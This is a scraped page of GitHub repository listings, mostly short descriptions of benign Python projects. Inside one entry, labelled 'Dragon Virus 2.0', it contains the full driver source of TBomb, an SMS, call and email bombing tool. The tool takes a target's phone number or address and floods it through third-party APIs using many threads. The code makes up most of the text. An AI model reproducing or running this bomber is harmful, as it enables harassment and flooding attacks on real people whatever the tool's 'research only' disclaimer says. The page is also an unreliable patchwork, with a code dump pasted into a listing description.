446 skills found · Page 14 of 15
carnot-technologies / Dyno MonitorA simple python / django application to detect, log and alert you on certain errors
Morrolan / Surrealismsurreal sentence and error message generator for Python.
tomdstanton / Pyfgs🔗🐍⏭️ PyO3 bindings and Python interface to FragGeneScanRs, a gene prediction model for short and error-prone reads
faxenoff / UltracodeUltra-fast MCP server enabling AI agents to comprehensively work with TypeScript/JavaScript/Python projects: instant structural search, code modification with automatic linting/formatting/fixes, runtime debugging and backwards error analysis, integrated Git automation. Your AI's survival kit for massive codebases!
Rehan-stack / Twitter Chat Gpt BotThis Python script uses the Twitter and OpenAI APIs to listen for mentions of a Twitter account and generate automated replies using GPT-3. It checks for new mentions every hour and avoids giving duplicate responses. The script includes error handling to deal with rate limits, forbidden content, and tweets that exceed the maximum length.
povzayd / P PerPython tool to quickly extract embedded JPEG images from pcap files. Perfect for image extraction, data recovery, and digital forensics with reliable error handling..
ariyatan / TibetanPython 2.7 scripts for processing Tibetan language, and necessary data. I've developped these as help functions for current bigger project, but I want to make it public in case someone else may use or test it. It has worked just fine for my needs, my data and my system, but may have errors in other circomstances. If you use my modules and find any errors or lack of important features - feel free to write me.
rizac / SdaasSimple machine learning tool in Python (>=3.7) computing an anomaly score of seismic waveform amplitudes. By using a pre-trained Isolation forest model, the program can be used for identification of outliers in semismic data, assign robustness weights, or check instruments and metadata errors
Concurra / ConcurraConcurra - Concurra is a Python library designed for parallel task execution, allowing you to run multiple tasks concurrently with easy-to-use handling of task results, progress tracking, and error management. The library supports both multithreading and multiprocessing to help scale tasks efficiently.
cheroliv / Playlist Downloader🎧 YouTube Playlist Manager CLI: Open source command-line tool to create, manage, sync, and download your YouTube playlists. Based on Python, Typer, yt-dlp, and the YouTube Data API v3. Modular architecture, automated testing, centralized error handling.
HnBigVolibear / Awesome Flet Development Skillflet-development Skill —— a Python Flet development skill designed specifically for AI Coding, solving the coding pain point where AI-generated code constantly throws errors due to the numerous breaking changes between old and new versions of Flet! 一个专为AI Coding设计的 Python Flet开发技能Skill，解决因Flet新老版本的大量破坏性变更，导致AI开发的代码老是报错的Coding痛点！
gunpal5 / Claude Agent SDK DotnetUnofficial .NET SDK for Claude Code. Build production-ready AI applications with Claude's code generation and analysis capabilities. Supports streaming responses, multi-turn conversations, tool use, and comprehensive error handling. Complete port of the Python SDK with idiomatic C# async/await patterns.
josejosepht / RTK GPS NavigationA ROS-based Python script for collecting RTK-GPS data from U-Blox ZED F9P RTK GNSS receivers. Enables precise positioning with RTK error correction, leveraging U-Center U-Blox GUI. MATLAB plot functions analyze rosbag data, using polar co-ordinate curve fitting for insightful visualization.
HuntStar01 / Remote Control Phone AUTOMATION For IOS And AndroidEnabling remote control and screen projection of mobile devices to PCs for automation testing. Utilized Python, SwiftUI, PyQtGui, ADB, Twilio API, OpenCV, Tesseract OCR, and Appium to test screen mirroring, music, calls, and navigation on Android and iOS. Included automated tests, error handling, and user feedback features.
pratishtha-agarwal / Automation Of Attendance Montoring SystemIt performs Facial recognition with high accuracy. This attendance project uses webcam to detect faces and records the attendance live in an excel sheet. In order to determine the distinctive aspects of the faces based on distance, convolutional neural networks are used. All you need to do is stand in front of the camera and your face is verified instantly in milliseconds, without recording the attendance more than once. Facial recognition systems are commonly used for verification and security purposes but the levels of accuracy are still being improved. Errors occurring in facial feature detection due to occlusions, pose and illumination changes can be compensated by the use of hog descriptors. The most reliable way to measure a face is by employing deep learning techniques. The final step is to train a classifier that can take in the measurements from a new test image and tells which known person is the closest match. A python based application is being developed to recognize faces in all conditions. We study the question of feature sets for robust visual object recognition; adopting linear SVM based human detection as a test case. After reviewing existing edge and gradient based descriptors, we show experimentally that grids of histograms of oriented gradient (HOG) descriptors significantly outperform existing feature sets for human detection. We study the influence of each stage of the computation on performance, concluding that fine-scale gradients, fine orientation binning, relatively coarse spatial binning, and high-quality local contrast normalization in overlapping descriptor blocks are all important for good results. The new approach gives near-perfect separation on the original MIT pedestrian database, so we introduce a more challenging dataset containing over 1800 annotated human images with a large range of pose variations and backgrounds.
AnbuKumar-maker / DeepLearning In ESP32Object detection and identification is one of the most important and challenging branches of computer vision, which has been widely applied in peoples’ life, such as monitoring security, autonomous driving, and so on, with the purpose of locating instances of semantic objects of a certain class. With the rapid development of deep learning networks for detection tasks, the performance of object detectors has been greatly improved. By using Machine Learning and ResNet, we can easily identify the names of the objects which we needed. For this, firstly the training data is fed to the machine and labeled it correctly based on the nomenclature. By using the Camera Module, the test data is detected and verified with the train data using the ResNet algorithm. By repeated testing of the objects, the data set is updated or deleted based on the errors made by the machine in identification. On the repeated iteration of identifying the objects correctly ie., Accuracy reaching ≥ 95%, the dataset, and the application is used in Real World for automation. For this, I use Keras, an open-source neural-network library written in Python and by using the IoT module, the identified data is transferred to the Display device wirelessly. In Real-Time, this project is used for the identification of objects with more than 95% accuracy and transmit the data from anywhere and anytime using the cloud, and completely automate the process and reduces the manpower. ESP32 : Engineered for mobile devices, wearable electronics and IoT applications, ESP32 achieves ultra-low power consumption with a combination of several types of proprietary software. ESP32 also includes state-of-the-art features, such as fine-grained clock gating, various power modes and dynamic power scaling.
Anonymous69-hub / Dragon Virus 2.01eh6mqlqs5@xdsedr.tech#!/usr/bin/python # -*- coding: UTF-8 -*- import os import shutil import sys import subprocess import string import random import json import re import time import argparse import zipfile from io import BytesIO from concurrent.futures import ThreadPoolExecutor, as_completed from utils.decorators import MessageDecorator from utils.provider import APIProvider try: import requests from colorama import Fore, Style except ImportError: print("\tSome dependencies could not be imported (possibly not installed)") print( "Type `pip3 install -r requirements.txt` to " " install all required packages") sys.exit(1) def readisdc(): with open("isdcodes.json") as file: isdcodes = json.load(file) return isdcodes def get_version(): try: return open(".version", "r").read().strip() except Exception: return '1.0' def clr(): if os.name == "nt": os.system("cls") else: os.system("clear") def bann_text(): clr() logo = """ ████████ █████ ██ ▒▒▒██▒▒▒ ██▒▒██ ██ ██ ██ ██ ██ ██ ██ ██ █████▒ ████ ███ ███ █████ ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ ██ █████▒ ▒████▒ ██ ██ █████▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ """ if ASCII_MODE: logo = "" version = "Version: "+__VERSION__ contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) print(random.choice(ALL_COLORS) + logo + RESET_ALL) mesgdcrt.SuccessMessage(version) mesgdcrt.SectionMessage(contributors) print() def check_intr(): try: requests.get("https://motherfuckingwebsite.com") except Exception: bann_text() mesgdcrt.FailureMessage("Poor internet connection detected") sys.exit(2) def format_phone(num): num = [n for n in num if n in string.digits] return ''.join(num).strip() def do_zip_update(): success = False if DEBUG_MODE: zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" dir_name = "TBomb-dev" else: zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" dir_name = "TBomb-master" print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) response = requests.get(zip_url) if response.status_code == 200: zip_content = response.content try: with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: for member in zip_file.namelist(): filename = os.path.split(member) if not filename[1]: continue new_filename = os.path.join( filename[0].replace(dir_name, "."), filename[1]) source = zip_file.open(member) target = open(new_filename, "wb") with source, target: shutil.copyfileobj(source, target) success = True except Exception: mesgdcrt.FailureMessage("Error occured while extracting !!") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage( "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") sys.exit() def do_git_update(): success = False try: print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while process: print(ALL_COLORS[0]+'.'+RESET_ALL, end='') time.sleep(1) returncode = process.poll() if returncode is not None: break success = not process.returncode except Exception: success = False print("\n") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage("Make Sure To Install 'git' ") mesgdcrt.GeneralMessage("Then run command:") print( "git checkout . && " "git pull https://github.com/TheSpeedX/TBomb.git HEAD") sys.exit() def update(): if shutil.which('git'): do_git_update() else: do_zip_update() def check_for_updates(): if DEBUG_MODE: mesgdcrt.WarningMessage( "DEBUG MODE Enabled! Auto-Update check is disabled.") return mesgdcrt.SectionMessage("Checking for updates") fver = requests.get( "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" ).text.strip() if fver != __VERSION__: mesgdcrt.WarningMessage("An update is available") mesgdcrt.GeneralMessage("Starting update...") update() else: mesgdcrt.SuccessMessage("TBomb is up-to-date") mesgdcrt.GeneralMessage("Starting TBomb") def notifyen(): try: if DEBUG_MODE: url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" else: url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" noti = requests.get(url).text.upper() if len(noti) > 10: mesgdcrt.SectionMessage("NOTIFICATION: " + noti) print() except Exception: pass def get_phone_info(): while True: target = "" cc = input(mesgdcrt.CommandMessage( "Enter your country code (Without +): ")) cc = format_phone(cc) if not country_codes.get(cc, False): mesgdcrt.WarningMessage( "The country code ({cc}) that you have entered" " is invalid or unsupported".format(cc=cc)) continue target = input(mesgdcrt.CommandMessage( "Enter the target number: +" + cc + " ")) target = format_phone(target) if ((len(target) <= 6) or (len(target) >= 12)): mesgdcrt.WarningMessage( "The phone number ({target})".format(target=target) + "that you have entered is invalid") continue return (cc, target) def get_mail_info(): mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' while True: target = input(mesgdcrt.CommandMessage("Enter target mail: ")) if not re.search(mail_regex, target, re.IGNORECASE): mesgdcrt.WarningMessage( "The mail ({target})".format(target=target) + " that you have entered is invalid") continue return target def pretty_print(cc, target, success, failed): requested = success+failed mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("Target : " + cc + " " + target) mesgdcrt.GeneralMessage("Sent : " + str(requested)) mesgdcrt.GeneralMessage("Successful : " + str(success)) mesgdcrt.GeneralMessage("Failed : " + str(failed)) mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") mesgdcrt.SuccessMessage("TBomb was created by SpeedX") def workernode(mode, cc, target, count, delay, max_threads): api = APIProvider(cc, target, mode, delay=delay) clr() mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("API Version : " + api.api_version) mesgdcrt.GeneralMessage("Target : " + cc + target) mesgdcrt.GeneralMessage("Amount : " + str(count)) mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds") mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") print() input(mesgdcrt.CommandMessage( "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) if len(APIProvider.api_providers) == 0: mesgdcrt.FailureMessage("Your country/target is not supported yet") mesgdcrt.GeneralMessage("Feel free to reach out to us") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() success, failed = 0, 0 while success < count: with ThreadPoolExecutor(max_workers=max_threads) as executor: jobs = [] for i in range(count-success): jobs.append(executor.submit(api.hit)) for job in as_completed(jobs): result = job.result() if result is None: mesgdcrt.FailureMessage( "Bombing limit for your target has been reached") mesgdcrt.GeneralMessage("Try Again Later !!") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() if result: success += 1 else: failed += 1 clr() pretty_print(cc, target, success, failed) print("\n") mesgdcrt.SuccessMessage("Bombing completed!") time.sleep(1.5) bann_text() sys.exit() def selectnode(mode="sms"): mode = mode.lower().strip() try: clr() bann_text() check_intr() check_for_updates() notifyen() max_limit = {"sms": 500, "call": 15, "mail": 200} cc, target = "", "" if mode in ["sms", "call"]: cc, target = get_phone_info() if cc != "91": max_limit.update({"sms": 100}) elif mode == "mail": target = get_mail_info() else: raise KeyboardInterrupt limit = max_limit[mode] while True: try: message = ("Enter number of {type}".format(type=mode.upper()) + " to send (Max {limit}): ".format(limit=limit)) count = int(input(mesgdcrt.CommandMessage(message)).strip()) if count > limit or count == 0: mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format( type=mode.upper())) mesgdcrt.GeneralMessage( "Automatically capping the value" " to {limit}".format(limit=limit)) count = limit delay = float(input( mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) .strip()) # delay = 0 max_thread_limit = (count//10) if (count//10) > 0 else 1 max_threads = int(input( mesgdcrt.CommandMessage( "Enter Number of Thread (Recommended: {max_limit}): " .format(max_limit=max_thread_limit))) .strip()) max_threads = max_threads if ( max_threads > 0) else max_thread_limit if (count < 0 or delay < 0): raise Exception break except KeyboardInterrupt as ki: raise ki except Exception: mesgdcrt.FailureMessage("Read Instructions Carefully !!!") print() workernode(mode, cc, target, count, delay, max_threads) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() mesgdcrt = MessageDecorator("icon") if sys.version_info[0] != 3: mesgdcrt.FailureMessage("TBomb will work only in Python v3") sys.exit() try: country_codes = readisdc()["isdcodes"] except FileNotFoundError: update() __VERSION__ = get_version() __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] RESET_ALL = Style.RESET_ALL ASCII_MODE = False DEBUG_MODE = False description = """TBomb - Your Friendly Spammer Application TBomb can be used for many purposes which incudes - \t Exposing the vulnerable APIs over Internet \t Friendly Spamming \t Testing Your Spam Detector and more .... TBomb is not intented for malicious uses. """ parser = argparse.ArgumentParser(description=description, epilog='Coded by SpeedX !!!') parser.add_argument("-sms", "--sms", action="store_true", help="start TBomb with SMS Bomb mode") parser.add_argument("-call", "--call", action="store_true", help="start TBomb with CALL Bomb mode") parser.add_argument("-mail", "--mail", action="store_true", help="start TBomb with MAIL Bomb mode") parser.add_argument("-ascii", "--ascii", action="store_true", help="show only characters of standard ASCII set") parser.add_argument("-u", "--update", action="store_true", help="update TBomb") parser.add_argument("-c", "--contributors", action="store_true", help="show current TBomb contributors") parser.add_argument("-v", "--version", action="store_true", help="show current TBomb version") if __name__ == "__main__": args = parser.parse_args() if args.ascii: ASCII_MODE = True mesgdcrt = MessageDecorator("stat") if args.version: print("Version: ", __VERSION__) elif args.contributors: print("Contributors: ", " ".join(__CONTRIBUTORS__)) elif args.update: update() elif args.mail: selectnode(mode="mail") elif args.call: selectnode(mode="call") elif args.sms: selectnode(mode="sms") else: choice = "" avail_choice = { "1": "SMS", "2": "CALL", "3": "MAIL" } try: while (choice not in avail_choice): clr() bann_text() print("Available Options:\n") for key, value in avail_choice.items(): print("[ {key} ] {value} BOMB".format(key=key, value=value)) print() choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) selectnode(mode=avail_choice[choice].lower()) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() sys.exit()
daeIy / PyNPEFAA Python implementation of integrated prediction error filter analysis (INPEFA).
bcriger / Py QcodeDecoding topological quantum error-correcting codes in Python
marcoavesani / QKD LDPC PythonA simple code in python to perform LDPC error correction for QKD
